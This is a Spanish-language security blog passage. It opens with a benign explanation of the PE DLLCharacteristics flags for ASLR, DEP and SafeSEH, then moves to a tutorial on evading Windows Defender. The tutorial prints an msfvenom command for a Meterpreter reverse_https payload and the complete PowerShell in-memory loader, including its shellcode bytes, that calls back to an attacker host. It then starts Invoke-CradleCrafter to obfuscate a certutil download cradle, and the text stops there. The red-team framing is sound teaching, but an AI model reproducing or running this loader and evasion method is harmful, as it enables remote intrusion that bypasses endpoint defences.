PowerShell es una gran opción para ver las características de un PE (Portable Executable) porque es una herramienta nativa y puede acceder a la API de Windows y extraer información dentro de los archivos. Simplificándolo un poco, los encabezados PE contienen toda la información que necesita Windows para ejecutar imágenes compiladas. Dentro de los encabezados PE (Optional Header 0x18) hay una sección opcional DLLCharacteristics con valores hexadecimales que proporcionan información para las opciones compiladas en un archivo. Los valores posibles figuran en la siguiente tabla:

Constant Value Description
0x0001 Reserved, must be zero.
0x0002 Reserved, must be zero.
0x0004 Reserved, must be zero.
0x0008 Reserved, must be zero.
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 0x0040 DLL can be relocated at load time.
IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY 0x0080 Code Integrity checks are enforced.
IMAGE_DLL_CHARACTERISTICS_NX_COMPAT 0x0100 Image is NX compatible.
IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x0200 Isolation aware, but do not isolate the image.
IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400 Does not use structured exception (SE) handling. No SE handler may be called in this image.
IMAGE_DLLCHARACTERISTICS_NO_BIND 0x0800 Do not bind the image.
0x1000 Reserved, must be zero.
IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 A WDM driver.
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 Terminal Server aware.

Como podéis ver en la tabla hay valores relacionados con el estado de ASLR (IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE), DEP (IMAGE_DLLCHARACTERISTICS_NX_COMPAT) y SEH (IMAGE_DLLCHARACTERISTICS_NO_SEH). Los valores comunes de las características DLLC son 140 para ASLR, DEP y SEH, y 400 para ningún ASLR, DEP y SEH. Si IMAGE_DLLCHARACTERISTICS_NO_SEH es verdadero, entonces no hay SEH y SafeSEH no es necesario.

Tened en cuenta que SafeSEH solo está disponible para imágenes de 32 bits y puede usarse solo si cada módulo vinculado lo admite. Para verificar SafeSEH necesitamos mirar los campos SafeSEH que residen en la sección IMAGE_LOAD_CONFIG_DIRECTORY del PE. Dentro de esta estructura están el SEHandlerTable, que contiene la dirección virtual de una tabla de direcciones virtuales relativas para cada controlador válido, y el SEHandlerCount, que es el número de controladores en la tabla de controlador válida de SEHandlerTable. Si no se utiliza SafeSEH, estos miembros y, en ocasiones, la sección IMAGE_LOAD_CONFIG_DIRECTORY estarán vacíos.

PowerShell: inyección en memoria usando CertUtil.exe e Invoke-CradleCrafter

Cada vez es más complicado evadir los endpoints como Windows Defender, por lo que están surgiendo numerosas herramientas e ingeniosas técnicas usando LOLBins (Living Off The Land Binaries) y ofuscando los payloads para generar cradles efectivos. (Por si alguno no conoce el término, los cradles son aquellos comandos en una sola línea que permiten ejecutar un payload remoto y ejecutarlo).

Precisamente, en el blog de Coalfire mostraban cómo usar Certutil.exe de Microsoft junto con Invoke-CradleCrafter de Daniel Bohannon, un módulo PowerShell que permite un montón de técnicas para explorar, generar y ofuscar cradles. El resultado como veréis es un payload y un comando en una línea que pueda usarse para evadir la última versión de Windows Defender.

Primero crearemos un de Meterpreter en powershell codificado en base64:
# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.34 LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 768 (iteration=0)
cmd/powershell_base64 chosen with final size 768
Payload size: 768 bytes
Final size of psh file: 4512 bytes
Saved as: load.txt

A continuación, crearemos una carpeta que usaremos para servir el script 'load.txt' recién creado. Para que os hagáis una idea de lo que contiene:
# cat load.txt
$JOpFybVZqcCwv = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

$BVRQwroOOkNipmP = Add-Type -memberDefinition $JOpFybVZqcCwv -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $vNbEwbDua = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x33,0x34,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x33,0x0,0x0,0x0,0x2f,0x39,0x48,0x62,0x31,0x6b,0x64,0x30,0x4b,0x32,0x64,0x58,0x37,0x6d,0x66,0x71,0x62,0x6f,0x49,0x30,0x42,0x54,0x51,0x50,0x45,0x31,0x6e,0x6b,0x4e,0x45,0x52,0x35,0x4a,0x51,0x32,0x51,0x70,0x34,0x38,0x59,0x4c,0x50,0x66,0x71,0x6f,0x30,0x55,0x57,0x53,0x47,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa0,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5


$cXvoEwHqhsx = $BVRQwroOOkNipmP::VirtualAlloc(0,[Math]::Max($vNbEwbDua.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($vNbEwbDua,0,$cXvoEwHqhsx,$vNbEwbDua.Length)

$BVRQwroOOkNipmP::CreateThread(0,0,$cXvoEwHqhsx,0,0,0)

El siguiente paso será utilizar Invoke-CradleCrafter para ofuscar los comandos con certutil y PowerShell que se usarán para realizar una inyección en memoria evadiendo el Defender.
Para ello entraremos en la consola de Powershell en nuestro Linux (pwsh o powershell) y, una vez dentro, nos moveremos al directorio donde hemos clonado Invoke-CradleCrafter y ejecutaremos lo siguiente:
PS /Pruebas/Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter